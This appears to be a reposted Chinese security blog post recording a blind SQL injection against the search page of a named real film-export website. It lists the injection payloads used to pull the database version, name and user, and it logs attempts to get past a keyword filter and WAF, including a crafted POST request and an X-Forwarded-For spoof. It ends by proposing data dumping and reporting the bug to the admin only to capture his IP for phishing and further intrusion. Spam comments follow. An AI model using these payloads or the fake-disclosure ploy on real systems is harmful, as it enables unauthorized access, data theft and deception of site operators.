最新消息:

朝鲜电影出口注入漏洞 及 过通用防注入和WAF测试

MySQL注入 admin 2665浏览 0评论

朝鲜电影出口网域名:korfilm.com.kp
服务器系统:Cent OS
网站容器:        Apache 2.2.15
数据库:                MySQL 5.1.66
其他脚本:        mod_wsgi/3.2 Python/2.6.6 mod_perl/2.0.4 Perl/v5.10.1

存在漏洞的页面:http://korfilm.com.kp/home/search.php
此处电影名称“제목”的title变量取值未做严格过滤,导致可以盲注出部分敏感内容。
测试语句,在搜索框输入下列语句并搜索:

  1. 1%’+and+1=1#
  2. %’+and+1=1#
  3. %’+and+1=2#

确认为盲注注入点,但是有通用防注入过滤。

首先猜数据库版本:

  1. %’and+left(version(),1)=5#                        正确回显,数据库版本为5.x
  2. %’and+length(version())=6#                        正确回显,数据库版本长度为6
  3. %’and+left(version(),3)=’5.1’#
  4. %’and+left(version(),4)=’5.1.’#
  5. %’and+left(version(),5)=’5.1.6’#
  6. %’and+left(version(),6)=’5.1.66’#                数据库版本为5.1.66

猜数据库名:

  1. %’and+length(database())=7#                        数据库长度为7
  2. %’and+left(database(),1)=’k’#
  3. %’and+left(database(),3)=’kor’#
  4. %’and+left(database(),7)=’korfilm’#        数据库名为korfilm

猜数据库用户:

  1. %’and+length(user())=17#                                        数据库用户长度为17
  2. %’and+left(user(),1)=’k’#
  3. %’and+left(user(),2)=’kl’#
  4. %’and+left(user(),3)=’klt’#
  5. %’and+left(user(),4)=’kltu’#
  6. %’and+left(user(),5)=’kltus’#
  7. %’and+left(user(),6)=’kltuse’#
  8. %’and+left(user(),7)=’kltuser’#
  9. %’and+left(user(),17)=’kltuser@localhost’#                得到数据库账户

后面继续进行盲注发现部分关键字被通用防注入模板阻拦,测试已知关键字分别有:
select、union、update
这几个关键词不区分大小写,暂时还没想到绕过方法。以下是测试绕过方法记录:
1、POST转GET

  1. http://korfilm.com.kp/home/search.php?title=%25%27and+left(version(),1)=5%23

访问这个地址后发现title变量的input框取值确实变为GET,但是回显为错误。
据此猜测页面结构可能如下类似代码:

  1. <?php
  2.         $title = $_POST[‘title’];
  3. Check SQL-Injection Function….
  4. $sql = “‘select * from xxx where tilte like ‘%$title%’”;
  5. SQL QUERY….
  6. ?>
  7. <body>
  8. <form>
  9.                 <input type=”text” name=”title” value=”<?=$_ REQUEST[‘title’];?>”>
  10. </form>
  11. </body>

这样最多可造成跨站,但是无法形成绕过通用防注入模板

2、大小写无效,注释符内反注释方式:

  1. %’and+left((/*!sElEcT*/1+limit+0,1),1)=1#

注释符内加叹号/*!*/后面不被注释,这样无法躲避php的关键词过滤,因此无效

3、注释符
从网上搜了下这套通用防注入模板,有说使用/**/就可以绕过的说法

  1. %’and+left((/**/sElEcT/**/1/**/limit+0,1),1)=1#

这样的语句直接封ip,说明“/**/”注释符被当做敏感词,直接被WAF封杀。

  1. %’and+left((/*인학*/sElEcT/*인학*/1+limit+0,1),1)=1#

注释符里加韩文,仍然无法绕过防注入。

4、在语句中插截断字符
修改POST的数据,抓包将POST语句前面加上截断变量“test=\00.&”,构造新包:

POST /home/search.php HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://korfilm.com.kp/home/search.php
Accept-Language: zh-CN
User-Agent: Googlebot
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: korfilm.com.kp
Content-Length: 164
DNT: 1
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=bpmifph23mkk”’

test=\00.&title=%’and+left((selEc+1+limit+0,1),1)=1#&vyear=&vcolor=-1&vwidth=-1&srch=%EC%A2%85%ED%95%A9%EA%B2%80%EC%83%89&vvolume=&vtime=&vauthor=&vproduct=&vactor=

发现截断无效。在select中加插入16进制字符0x0d(换行符),发现语法错误,也是无法绕过。

5、过WAF防封ip
构造数据包,将HTTP头部添加X-Forwarded-For取值为127.0.0.1,将客户端ip设置为服务端本机,无效,同样被封ip

网站漏洞价值所在以及后续工作开展
这个网站的漏洞价值目前并不高,唯一的价值就是让我们摸清管理员的代码习惯和技术水平,以及服务器中防注入和WAF的检测特征。网站中的“注册会员”部分尚处于建设阶段,依照程序设计人员现在水平,一定会出XSS、POST注入等脚本漏洞。长期关注可以尝试脱数据等。
另有方案是将漏洞上报给网站管理员,通过管理员的回信,得到管理员的ip,长期进行钓鱼,渗透等。
//Blackbap.org
Silic Network Security Solutions Co.

转载请注明:jinglingshu的博客 » 朝鲜电影出口注入漏洞 及 过通用防注入和WAF测试

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (4)

  1. 以实例的方式讲解了关键字被过滤时的几种绕过方式: 1、POST转GET。即请求方式转换,可以将GET转为cookie等,多试一下有可能成功。 2、关键字大小写,或将关键字放在/*! */中。 3、以/**/注释符当空格用。 4、在语句中尝试截断。 5、在语句中使用换行符%0a 6、在数据包头部加上X-Forwarded-For,取值为合适的值来绕过IP地址过滤
    admin12年前 (2013-08-02)回复
  2. Get more app downloads by optimizing your app store lis increase app store ranking ting using these tips and best practices. We are offering you the best app store optimization to help you achieve the success of app marketing. ,increase app store ranking;
    ios app store download10年前 (2015-12-11)回复
  3. Try the newest Marvel Contest of game of war packs Champions online cheats. Be better than your friends,game of war packs, and gain advantage easily! Hack Marvel Contest of Champions.Buy Marvel Contest of Champions unlimited units!
    game of war tips10年前 (2015-12-11)回复
  4. Improve your Discoverability in App Store's Search Results and Drive M aso app store optimization ore Organic Traffic. Offering professional service of optimizing keywords, description, icon and more. The Ultimate App Store aso solution will make your app rank top, and attract more traffic! ,aso app store optimization;